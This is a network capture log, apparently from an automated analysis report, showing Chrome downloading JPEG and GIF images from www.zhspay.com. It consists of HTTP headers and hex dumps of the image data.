2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 05 c3 e1 e4 4c de 82 05 58 80 02 dc 82 40 3c 29 87 fe 27 7d ae aa 7f f6 e7 29 95 2a b3 28 80 ac 36 8b 02 58 80 a9 36 85 65 6c 42 04 6c 02 07 14 41 af fe aa af 06 2b b0 9e c0 ae 92 90 91 0a 43 04 44 c0 09 00 6b 11 24 ab 39 dc a6 ae 26 eb 26 2c 2b b3 12 6b b2 ee aa bd 44 eb ae 2e ab b0 16 c1 09 68 eb 26 18 2b 2e 89 2a a9 2a 80 5b a0 aa 4c 3a e9 95 c2 90 86 5e 25 53 fc 28 5e a6 9c 6c 1a 50 2b 94 ff aa 88 d6 ab ad d2 eb a8 42 8e 16 d2 a6 b5 1e c1 39 e9 aa 39 f8 11 79 44 ab 1f 04 6c 04 0c ac 43 58 6b 04 14 01 c0 8a 18 35 40 c3 11 34 6b b2 9e c0 be 44 2b af 1e 2c 19 1d 13 07 58 6b b8 7a 2c 07 5c 88 65 fa c1 11 78 6c 18 04 1c b9 c2 00 3d 35 00 cb b6 ac cb be ac 0f f8 40 0e ac 9a 16 2c 01 a9 7e 86 65 8c ea 12 d4 63 b0 bd ac 11 18 c5 51 c5 ac d0 1a 86 07 25 c3 be Data Ascii: LX@<)'})(6X6elBlA+CDk$9&&,+kD.h&+.*[L:^%S(^lP+B99yDlCXk5@4kD+,Xkz,\exl=5@,~ecQ%
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: e3 cf 73 8d bd 05 72 55 99 2c d6 f5 1a 21 36 e0 4f 1c 00 cf 11 a2 d7 88 e2 54 5a 9d d3 57 13 57 7a 1d 21 51 c0 a1 0e 78 af 76 e4 d5 00 e5 d7 56 45 57 5a 98 d7 82 a5 a0 75 8d d0 f0 73 9d 87 3d ac fb 81 3f f0 d8 80 41 68 87 78 f8 23 74 40 07 70 60 07 8d f5 d8 15 b9 58 90 6d 87 a3 e9 58 21 d5 87 72 40 d9 76 b8 58 7d 18 83 34 e8 80 12 25 40 98 cd 3f 0b e9 d1 91 5c d1 1f bd 11 91 69 d1 32 d2 20 42 ff aa d1 8d 6c 2d 20 0d 85 70 e8 86 50 a8 04 8d 31 c9 95 e4 d1 97 b9 d9 91 0c 05 21 1d 87 72 d0 51 cf 32 d2 98 74 d8 24 c5 da 50 01 56 6a d1 ca b0 cc 2a 64 eb ab 36 70 0d 3b 21 0d cd f4 a5 1b 3b db ef 52 82 af c4 82 c3 5b 2f 4a d3 b1 06 d2 4a 82 45 2f 51 c0 bb 17 93 5b 2c 48 d8 be ba db f1 ca 38 ad 3c 84 5c 8d 85 28 1b 83 2c dd 2e 7e 99 96 af 14 ba 42 5d 9f 70 da 84 Data Ascii: srU,!6OTZWWz!QxvVEWZus=?Ahx#t@p`XmX!r@vX}4%@?\i2 Bl- pP1!rQ2t$PVj*d6p;!;R[/JJE/Q[,H8<\(,.~B]p
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 62 e9 b2 ca 74 18 f1 90 3d 88 41 86 0b bb b2 61 fa 88 b4 f7 8b b8 d0 01 3d cb 8b e3 25 38 60 da 95 2b 24 a7 26 00 9c 2f 72 a7 da 45 10 4a bb 07 bc 80 58 d6 77 52 a7 30 b4 2b f4 7c fe 98 5d 56 ab 72 ef 01 36 59 4a 5e 98 e8 78 9b d8 b5 fd b9 7d 10 44 6f 81 7a 4f ac f1 51 95 77 b6 dd d6 20 f4 66 af 76 f5 50 d7 f0 53 ee da a8 92 7a 0a 1e a0 43 ec a6 8c f6 a6 b3 a7 30 ab 02 01 98 73 2a b6 59 bb 51 ff 7e 4b 9b 46 ab 88 97 e8 02 1f f0 a5 bc a0 b3 d0 ba aa 51 84 a7 a7 aa 87 b9 73 b9 d2 c0 51 e4 15 64 97 fb 60 68 0a b7 6f e5 35 a1 a8 ab c0 b3 0d b9 ba 6d 33 08 ba 43 57 0c 7b e8 60 ed f6 46 2f eb 13 7b a9 b9 e4 45 b8 ca 78 37 8c 43 11 8b e4 8f af 6a 8f d0 67 b5 62 7b bb 61 95 a7 08 b1 bb bb c8 ac 78 90 00 8a ab a5 11 98 a5 a4 50 ad 98 40 bc 0c a6 b8 29 86 87 8c 4b Data Ascii: bt=Aa=%8`+$&/rEJXwR0+\|]Vr6YJ^x}DozOQw fvPSzC0s*YQ~KFQsQd`ho5m3CW{`F/{Ex7Cjgb{axP@)K
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 6e 8b f0 61 75 74 00 2e b2 47 33 61 ab 24 ee 6f f3 6f 43 9d 36 fe d4 40 2d 25 82 ce ba 6d cb 70 32 31 be 60 02 d6 54 3c b3 2d 54 ff 74 4d e7 71 6f df ee 2b d7 ce 0e 36 b6 27 25 60 53 31 e2 0d 7a 8a 0b 6e 16 73 5d 56 a9 8c 8a a9 44 f7 bf b4 b3 27 b5 b0 74 f7 92 0b 2d 37 4e 41 22 29 7f d0 08 9d ae ca 04 f5 22 d0 0e 0a e7 e4 4e ff f4 ea 8e d0 ca 80 d7 76 51 2b ba fa 0f 65 ef ed 73 09 a1 12 92 37 ff df c0 16 c5 cc ef db 58 40 67 a1 f4 19 1b 63 2d ed ad 12 ba f3 03 c6 72 00 d6 10 01 ea d0 2e fd 8d 06 6d b5 4c 3e 60 57 07 13 7d d3 b7 57 db f7 d3 06 41 52 14 13 b9 7a ab b8 24 81 9a 12 b1 0c 12 4c 02 f6 00 4c b7 15 21 b0 d5 7f 2d 84 ce 44 13 35 45 91 5c cb d5 5c 8f 88 35 05 11 2a d6 f5 59 60 13 be 02 00 56 62 25 28 e4 82 6c ca 41 1b 5a f3 9b 4a 4d 86 ea c1 ff 80 Data Ascii: naut.G3a$ooC6@-%mp21`T<-TtMqo+6'%`S1zns]VD't-7NA")"NvQ+es7X@gc-r.mL>`W}WARz$LL!-D5E\\5*Y`Vb%(lAZJM
2024-09-27 03:50:40 UTC	6630	IN	Data Raw: d0 40 e0 27 2c 58 42 48 fc f4 50 00 c6 8c 19 d9 2c c4 21 ea a2 c6 90 02 1a e4 90 78 43 87 44 27 20 87 24 1c 22 49 09 30 91 32 45 21 bc 91 46 12 b0 06 81 4c a2 bc 35 48 a0 cc 47 0c 13 7e 94 29 32 e2 c4 02 82 b4 69 43 21 c8 29 54 a8 4c 99 ba a8 5a 75 2a d6 ac 5a b7 72 ed ea f5 2b 58 a6 1b a0 61 9d 30 f6 c8 a6 08 6a d7 b2 8d 90 56 2d 87 6a d3 08 1a d4 51 22 5a 35 0e 6d 23 9c 90 2b e5 0b 0a 5c d3 f2 ee 2d fc 36 ae dc 13 86 0b ff f3 85 36 6d 4f b3 09 92 27 8b 08 6b f9 f2 54 2c 54 31 73 ee ec 55 23 53 2c 51 ba 4e db 0a 8c 73 2c b1 64 37 4f bd 4b b8 6d df 6a 74 95 ce a0 3d c4 da 6b b6 b1 71 31 2d 26 f7 2d 63 dd 8e 53 61 7b 86 36 78 db 4d 47 e4 fe 46 ce 56 b9 63 2e b4 a7 17 a8 28 d0 47 8e 28 20 31 5e 14 25 4a ca 90 0f 6c 3e 88 af e5 dd fb 4b 9d 6d 92 06 49 b9 5d Data Ascii: @',XBHP,!xCD' $"I02E!FL5HG~)2iC!)TLZu*Zr+Xa0jV-jQ"Z5m#+\-66mO'kT,T1sU#S,QNs,d7OKmjt=kq1-&-cSa{6xMGFVc.(G( 1^%Jl>KmI]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49747	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:39 UTC	613	OUT	GET /zhuye/img/kaiyun1000.jpg HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	230	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/jpeg Content-Length: 63943 Last-Modified: Tue, 11 Apr 2023 13:44:24 GMT Connection: close ETag: "64356438-f9c7" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16154	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 8d 04 42 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CCB"
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: fc 61 e2 56 4f 53 09 99 d6 9a 77 57 ba f9 9f dd 5e 10 67 54 b1 d9 4e 1e 97 2b 56 56 67 ea b7 8d 3e 26 5a eb 7e 0f b8 b3 bc ba b1 83 4f 8d 99 3c a4 45 57 45 ff 00 65 6b e7 3d 43 54 f8 47 aa 5c 6b 3e 1c f1 a6 9b 7d 07 f6 55 e4 3a f6 99 32 5a b7 fc f2 7d ad f6 9f 97 ca db b2 57 6f 9e b1 7e 2a 7d b3 c3 ff 00 10 16 e2 27 92 4f 31 76 3a 7f 04 75 db 7c 33 d6 24 d2 fc 51 e0 bd 7a f2 d6 3b e7 f0 ce a7 0e a4 e9 b3 e7 f2 d1 f7 32 d7 e1 14 f3 48 54 c7 46 94 d5 f5 48 fe 85 c5 e0 6a d3 cb aa 4b 0e ec d2 6d 1f 99 ff 00 b7 bf 89 e4 f1 8f 84 3e 23 6a 33 7f cb de 9b 6b 32 ff 00 73 69 d6 f5 6d bb 6b f7 43 e0 6f c3 fd 53 e3 1f fc 10 a7 e1 1f 86 74 bf 11 7f c2 25 79 aa 7c 33 f0 bd bb ea 1f db ad a2 b4 70 3d 85 b2 c9 b6 ed 11 bc 96 64 7f 96 bf 10 7f e0 a7 fe 4d bf 8e 3e 3b 41 Data Ascii: aVOSwW^gTN+VVg>&Z~O<EWEek=CTG\k>}U:2Z}Wo~*}'O1v:u\|3$Qz;2HTFHjKm>#j3k2simkCoSt%y\|3p=dM>;A
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: fe d0 ff 00 b3 de 87 f1 a3 ec 7a c5 bd 9c 76 ba df 87 f5 5b 7d 63 4f 74 bd 9e d6 df ed 29 f2 b2 c8 b1 b7 94 de 74 3e 6c 2c ce 95 c3 9c 61 53 5c f0 5c ce dd 4e be 19 e2 3c 5e 06 0a 85 3a 8e 31 ba 76 be 87 e7 d7 8a 7f e0 9c 5f 13 7e 15 69 97 5f 67 b1 b5 f1 34 5a 22 c6 97 bf d9 53 b3 34 2d e5 f9 df 75 95 7c df f8 05 7e 91 7f c1 3b f5 cd 6b e3 27 ec 93 f0 fe fb c6 17 52 4f 7d a8 dd df 59 fd ad d3 6c d2 43 0d c7 92 bf f0 26 d9 5e 1d 2f ed 86 be 04 f0 77 c4 49 ee 12 6b 5b cb 7d 4f c6 5a c5 96 b1 26 d5 b7 7d b7 0f 67 a6 cf 36 ed be 57 df 8a dd 55 eb ec 69 2c e6 93 e0 df 87 35 4f b3 c7 6b 73 69 1a bc b1 43 27 c9 03 48 bb 99 b7 7f 15 7c 56 47 2b d6 74 95 d2 d6 e7 ec 3e 25 78 97 8c e2 0c 8a 96 07 19 08 b9 53 6b 96 49 6b 63 de 24 d4 21 ff 00 8f 58 96 79 de 46 f9 d2 Data Ascii: zv[}cOt)t>l,aS\\N<^:1v_~i_g4Z"S4-u\|~;k'RO}YlC&^/wIk[}OZ&}g6WUi,5OksiC'H\|VG+t>%xSkIkc$!XyF
2024-09-27 03:50:40 UTC	15021	IN	Data Raw: f1 73 0c 8f 09 88 f7 e2 92 7e 47 d7 da 84 71 dc 59 c5 2f f0 7d cf f7 d6 ab e7 ef ca d5 e0 3e 07 f8 81 ab 78 0f 4b 59 b4 6b af ed 8f 0f 49 ff 00 2e 57 2f b7 c8 6f ee ae ed cf 13 7f b3 5e cd e0 3f 88 1a 5f c4 8b 3f b4 59 b4 91 bc 1f 25 c5 8b ff 00 ae 83 fd ef fe 2a ab 0f a4 39 4f ce b3 8c 8e ae 1a 7c d1 d5 1b d1 7e ee 3f f6 e4 a9 fe 6f 6a 8a de 3f e2 66 a9 a2 ff 00 6a ba 0f 03 52 c2 7f ad ab d1 d5 18 bb 55 ff 00 9b da 82 24 59 d8 b4 54 3e 65 14 19 9c bc 9f f8 e4 75 5e 4d d2 7d ef b9 56 24 3e 5f ee 96 ab c8 7c cf 95 7e e5 07 a5 12 bc 87 cc 91 99 aa bf 97 e5 ee 93 f8 ea 6b 8f de 7f b9 1d 57 92 45 f3 37 37 fc b3 ac 64 12 2b c9 6e d6 f1 b7 fc b4 7a c9 f1 25 c5 f6 8f e1 bb f9 74 db 58 2f b5 28 e0 df 15 a4 ce ca 93 b0 ff 00 77 e7 f9 53 f8 53 ef bf c9 5b 91 c9 fb Data Ascii: s~GqY/}>xKYkI.W/o^?_?Y%*9O\|~?oj?fjRU$YT>eu^M}V$>_\|~kWE77d+nz%tX/(wSS[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49752	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	612	OUT	GET /zhuye/img/betway999.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 786077 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-bfe9d" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 2c 01 f7 00 00 11 11 11 22 33 00 33 33 00 d0 cc cd 00 00 00 da aa 58 6c 07 0c ff ee d8 0d 0f 26 10 23 27 11 22 04 ee 9f 14 90 09 0a 89 77 70 5f 73 91 fe cb 23 66 66 66 af 98 94 03 2b 4a 6a 48 2b 54 55 66 11 00 00 6d 0d 28 ff ff ff 55 55 55 27 ab e1 6f 48 04 6b 66 54 8e 27 2c fb d6 b8 71 87 a1 01 2e 6a a9 2a 44 03 4a 6e 8d 6d 4d 55 66 66 22 22 22 ce bb b9 b8 8f 2c 55 33 46 ad 10 10 f5 4e 5a 22 11 11 b9 aa 96 77 66 66 8a 88 75 01 88 a7 00 07 4d 66 55 55 68 2b 05 8d 72 2b 66 55 66 30 44 48 08 49 53 30 32 45 fc dc cd 44 43 44 01 6e 95 30 44 2b 33 33 33 d8 25 24 b6 8d 6f b0 26 2b 97 b1 de 8c 4c 4c ff db 42 33 33 11 8c 91 b1 50 0e 24 e0 73 01 d0 cc ba d4 b1 92 00 50 89 4d 44 0c 28 11 22 77 22 33 ff f7 44 8a 25 0d f1 b3 93 b1 40 46 ad 73 Data Ascii: GIF89a,"333Xl&#'"wp_s#fff+JjH+TUfm(UUU'oHkfT',q.j*DJnmMUff""",U3FNZ"wffuMfUUh+r+fUf0DHIS02EDCDn0D+333%$o&+LLB33P$sPMD("w"3D%@Fs
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 7b 1c d5 13 d6 d7 58 a1 58 84 f6 65 89 0e 89 a6 6e aa 14 2e 28 83 2e d5 65 aa cf fa 44 26 a9 92 6a 1b 8c 4c 18 c0 00 11 40 82 58 65 e6 98 ae c2 25 42 4d 1e 5e 1d f9 f9 e1 68 1a d6 04 10 21 4c 14 40 48 8a 24 6b 96 24 90 b2 e9 75 ee 40 91 6e 40 9a 62 e5 76 2e a9 07 0a 2b 7c 80 c2 47 9c 62 96 42 a9 27 46 ab 26 0a a5 eb ad e2 70 92 a2 48 f8 82 2f 4c 00 35 ad a2 26 be 81 98 32 a9 14 21 84 bd a5 10 73 dc a2 6e ee e6 72 d5 26 9c 82 d3 a0 de a9 a0 ea e9 9f da ff a7 7c de 2b c2 cd 2b a0 76 9e b9 46 5e 33 be ab be f6 a9 a0 f2 27 20 62 63 8d 49 90 a1 c5 84 4b f4 00 64 05 ec 7c 00 e6 a9 39 e8 83 72 aa a5 4a 2c 53 1d 53 a6 66 2c c5 f2 a5 a7 42 a8 58 a9 cf 12 70 c0 12 b0 52 a9 96 6a c4 b2 2a ca 42 e6 4b bd 48 35 e9 43 8c 02 17 20 ed dc 35 d9 18 49 a2 dd 8e 92 64 49 f6 Data Ascii: {XXen.(.eD&jL@Xe%BM^h!L@H$k$u@n@bv.+\|GbB'F&pH/L5&2!snr&\|++vF^3' bcIKd\|9rJ,SSf,BXpRj*BKH5C 5IdI
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: d1 f6 cb 1f 6e 22 98 be a3 bf 06 f3 bb 70 9d 51 a6 aa 13 12 a0 4c a3 1b 4d 88 b0 19 a4 89 bb 72 9c 1c 32 b1 4d c5 7c d2 77 52 4c 0e 34 c7 52 63 a8 26 45 18 5b 6b a1 10 39 57 0b 1a 13 fc e3 cc 41 1b 58 e0 0c b8 66 30 c5 73 22 08 db 2c c6 05 fc 18 48 9c 98 87 15 22 ce 14 53 82 22 aa c6 54 29 04 49 d3 03 23 c8 11 32 d7 1d 82 53 15 50 bb 9d 61 a7 17 81 b5 7f 14 57 b7 ac 8f 4e d8 3c 69 03 54 46 fd ab 3c 88 ce 82 99 54 93 61 04 48 55 58 8e 84 59 54 aa d9 62 ff d4 59 57 a5 14 ea 34 19 ac 79 d3 9c 1d 88 f5 44 0c 1a 7b b1 51 b5 4f 77 23 3d 34 1c 0c df 40 55 a7 25 82 19 a3 9d 02 b8 31 c2 e8 4f 40 6a d3 48 5d a5 01 85 43 62 18 4a 57 e2 95 59 72 9e 5d 35 b3 e0 5b 26 98 20 80 61 95 38 63 f1 0d 10 48 01 60 3a d6 6e 39 1f 45 2c 1f 44 cc 3e 67 75 88 8f 59 09 f7 f9 ca 78 Data Ascii: n"pQLMr2M\|wRL4Rc&E[k9WAXf0s",H"S"T)I#2SPaWN<iTF<TaHUXYTbYW4yD{QOw#=4@U%1O@jH]CbJWYr]5[& a8cH`:n9E,D>guYx
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: d2 98 c3 3a 59 f9 79 9f c8 9a ac ca da 5e 61 ca ac 43 70 0f 03 80 56 c2 48 ad 6e ca 08 ea 61 0c 7d 75 4e 4b a0 ad aa f1 2e cd 37 20 3b 09 7b 79 2a ae e3 3a 62 8b 15 4f bc 06 1f 94 d0 85 81 2a a8 b7 aa 51 ee d8 a8 ec 1a b1 f1 3a 5d ef aa 95 09 4b 3e 9f 34 01 e1 38 77 d7 49 7f 05 fb 6c c9 00 aa f7 d3 a1 6b d9 b4 57 0b a3 a3 8a 96 f5 d3 87 d5 19 03 5d 3b 5c 16 2b b5 13 9b a4 fb 4a b1 13 e1 b1 1c 9b b7 78 bb b7 7a 9b 81 20 2b ac f4 99 b2 22 4b ac 27 4b a6 ff a4 03 a6 cb 4a 72 99 60 07 a2 e6 8b ba 27 b3 8d 8b 7a 14 40 0f 37 cb 0a 63 63 0a 0a da ad a9 69 08 95 36 7b 52 c4 83 46 37 b4 46 2b ba e9 52 45 c9 a6 ae b5 85 b0 13 31 64 c5 39 80 01 5b b5 66 3b b7 90 3a 10 07 cb 23 71 5b b7 72 3b 12 63 d8 87 54 a6 ba a6 ba 6e 49 e0 af f9 d8 87 65 08 b5 23 f1 ba 69 bb 6e Data Ascii: :Yy^aCpVHna}uNK.7 ;{y:bOQ:]K>48wIlkW];\+Jxz +"K'KJr`'z@7cci6{RF7F+RE1d9[f;:#q[r;cTnIe#in
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 7b 42 35 22 35 82 c0 84 de 33 42 2f 8e e6 41 8a e1 95 76 6a 16 45 de 8d 14 42 67 ed 92 5b 13 a2 98 4f 89 0c 36 b1 cc 9f a5 a4 66 cd 70 3e 75 79 07 6d ed 10 7d 9a 9c af ff 88 0c 27 6b 78 e3 51 9d 4a b6 2d 4e 09 21 31 d9 18 6a 85 f3 27 15 39 11 91 50 e2 09 51 72 33 1c e1 e9 81 40 f8 59 17 03 d3 44 d2 b0 84 f6 74 11 d9 11 f8 a2 59 bc b3 21 e2 79 ad 63 29 8c 1c db 3b bb fd 15 83 90 dc 63 63 cd 53 9f 84 6c e6 0c b2 9c 60 58 de b1 90 f6 94 4d a9 55 fd 87 93 92 89 25 e9 ee cf b5 a1 53 9c 4a 5a f0 90 52 a4 76 23 12 75 48 71 2f ca 5d 9d 22 44 05 e0 cd 9e 78 f9 17 97 62 c9 d6 15 b3 b3 d4 1a ea d0 cc 7f 5c 91 72 03 fa 2d 09 b3 c9 22 b1 50 2a 21 6c e5 8c 1f 59 18 3a 58 6d 47 0f 15 9e 4c f4 7c 32 c2 00 87 f5 b1 0a 69 a5 de 26 ba 15 9e 2d 84 4c 0d 89 30 68 58 0b c9 d2 Data Ascii: {B5"53B/AvjEBg[O6fp>uym}'kxQJ-N!1j'9PQr3@YDtY!yc);ccSl`XMU%SJZRv#uHq/]"Dxb\r-"P*!lY:XmGL\|2i&-L0hX
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 78 38 83 33 40 04 0c 68 83 47 55 b8 2b 23 58 4a 3d 58 c7 68 08 50 60 d1 3c da 38 70 c4 84 3a 38 8a d3 2a ba cf da c8 3c b4 51 43 b0 02 5a 98 54 b9 65 59 46 1c 2f 97 bc 4e 0c 2c 59 c8 fd 35 54 ab 8c c4 8d 59 de 34 0b be 45 80 55 d2 5c 04 c0 5c cb c5 55 a2 95 4a 9b 1d 5d 69 3b 0d 3c e0 d9 d3 0a 4c 89 8c d6 69 a5 cf 2a 18 84 b0 7c 0c 57 5c be c6 dc d6 a8 bd 5d 38 3d c9 6f 0d a1 89 93 85 3b 68 d5 ff 03 65 42 83 68 5a c2 98 03 c2 70 36 06 1c d0 ac 35 bf 0a f0 50 7e 5d b7 4f 70 8f 37 c8 07 7e 8d c6 ed 91 bf ea 2d 05 5e 84 06 f3 6b 35 b5 55 5b 12 1a d1 80 dd cd c4 2d 58 00 99 88 28 10 47 70 8c 58 ce 44 0a d3 e2 bd 50 f5 ca 06 c8 43 fa a5 df 32 88 db f2 45 59 25 2a 4b bb 9a bc 59 a5 d5 0d 1c 2a ce dd dc cb 40 dc ca fd 9e cb fd dc ed b4 5c c8 25 5d 07 f6 b9 40 53 Data Ascii: x83@hGU+#XJ=XhP`<8p:8<QCZTeYF/N,Y5TY4EU\\UJ]i;<Li\|W\]8=o;heBhZp65P~]Op7~-^k5U[-X(GpXDPC2EY%KY@\%]@S
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: ba cf 21 0f ac 60 01 b4 3b 0e 67 74 8c c2 49 77 86 a4 60 f8 0a a4 86 29 a4 c0 0b 83 d8 38 6d 9b 19 b3 a7 14 99 a4 22 b2 64 f8 a4 a4 62 89 10 82 75 5f f5 b0 23 ba 53 1f 41 03 d9 c1 0e 29 35 52 29 75 45 2d ea 19 da 85 72 21 f5 8a 13 a4 b2 8a 5b be 8f 37 b3 32 db 26 4d 42 1d 83 21 04 66 6a 36 60 db b6 83 13 bd a4 2b b6 72 6b a5 62 db 8d 57 b3 31 10 94 88 11 88 b5 6f 59 8b ab 28 96 f5 bb 2b 6d 24 ff 6b c4 91 14 61 1b 4e c8 01 3a c0 30 ba 74 19 38 13 0c 51 a0 23 c1 bf d8 46 20 3b 49 e7 cb c1 a1 5b 99 1b 6c 6d 6d 6b 7f a7 36 be 84 db be a4 db c1 d3 2b a2 9a 0b ae 9c ab 96 93 21 2f 92 21 c3 4d 39 c3 6c d9 95 30 bc 2b 31 59 c1 0f ac b5 3c ac 5e 10 dc c3 58 75 ba 75 80 06 7a ab 95 ad 10 bb 11 47 97 79 29 47 77 99 3a 49 1c 1c 0e b0 04 53 cc 01 55 3c c5 c6 18 77 3b Data Ascii: !`;gtIw`)8m"dbu_#SA)5R)uE-r![72&MB!fj6`+rkbW1oY(+m$kaN:0t8Q#F ;I[lmmk6+!/!M9l0+1Y<^XuuzGy)Gw:ISU<w;
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: d0 cb ac d0 e7 05 5a 4c 65 8b 09 19 05 34 c0 9f 12 8d 8b b8 28 d1 98 70 a5 63 b5 c1 d3 cb cd 1e dd cd d8 dc 58 8e e2 42 2e 14 26 a1 3c 7c b3 b5 26 ce a7 ce a8 a1 ce 28 aa 28 99 7c b8 7a f4 56 97 ff 38 b5 81 0a 4a ae 77 cb b1 27 2c 7e a0 cb f2 48 40 7e 50 bc 79 46 d0 44 dd 23 06 7d c4 36 b4 d0 07 7d d0 95 0a 6d 10 bd 90 13 dd 9f 13 fd 9a 34 90 d1 c6 d7 d1 97 0c d2 39 1b d2 af 51 73 24 5d 8c 9f b6 3b 63 9c d2 b7 9a ce 66 7c 51 39 91 cd 5a 9d 86 4f 04 d6 92 d9 02 45 64 cb a4 67 c7 ef bb 75 43 2b 59 9a 09 9e c0 4c 7b 45 dd d7 36 62 cc 0a ad d4 46 3c d8 4a 3d 71 93 e0 d0 3b 20 c1 13 9d 0b 12 2d d1 7d 8b 72 f6 4c d7 ee fc d1 94 fd ce 7a 0a 5b 09 35 bf 61 bc 37 ed 13 bf 34 e7 6a cf 18 48 68 9d 98 93 ed c2 13 d9 06 09 42 53 19 19 22 c1 79 b1 ad 6b b6 92 7d 8f 3c Data Ascii: ZLe4(pcXB.&<\|&((\|zV8Jw',~H@~PyFD#}6}m49Qs$];cf\|Q9ZOEdguC+YL{E6bF<J=q; -}rLz[5a74jHhBS"yk}<
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 0d 4d 53 c9 21 5d c1 aa af 93 24 2e b6 4c 9f f2 11 16 f7 38 37 00 6e 85 a0 52 83 52 15 83 52 2f e0 61 10 90 f9 85 b5 1a 70 d9 ec 4a 85 71 03 36 f7 4e a4 28 97 c1 a2 4c 84 12 9b db d9 87 85 52 ac ff 09 d4 2c ad 1a b0 03 5b 2d 1e 71 00 e3 02 07 20 75 2c 79 e2 77 53 90 2c 9c 4a 05 d7 b2 a7 1d 8d 13 0e 52 64 b9 c0 1f cc a1 a7 31 aa a2 3f 02 c7 58 55 57 c1 f8 20 0c 8a 14 ae b1 2e 69 35 e2 1c 61 21 74 c4 11 4a 00 86 81 04 8e 1e 5a 24 fa 78 1d a7 90 e3 d0 8b 90 02 59 97 30 3a a3 75 c9 90 17 4c 4d ee d6 89 e6 22 7e 3f 8b ea be f2 0d 08 8d 3e fc ed 19 fb 67 a5 6f 1a 12 37 c9 52 3b 81 7d 56 40 dc 2c e1 60 f8 63 4c b3 9b a6 09 34 2c 17 a1 e8 b6 94 13 70 25 66 f3 2e 83 01 65 0d 94 fb 4c 8a 68 40 bc 46 35 48 72 97 c6 26 01 17 c3 e6 40 23 0e 36 00 ba d5 c7 17 af f8 5a Data Ascii: MS!]$.L87nRRR/apJq6N(LR,[-q u,ywS,JRd1?XUW .i5a!tJZ$xY0:uLM"~?>go7R;}V@,`cL4,p%f.eLh@F5Hr&@#6Z
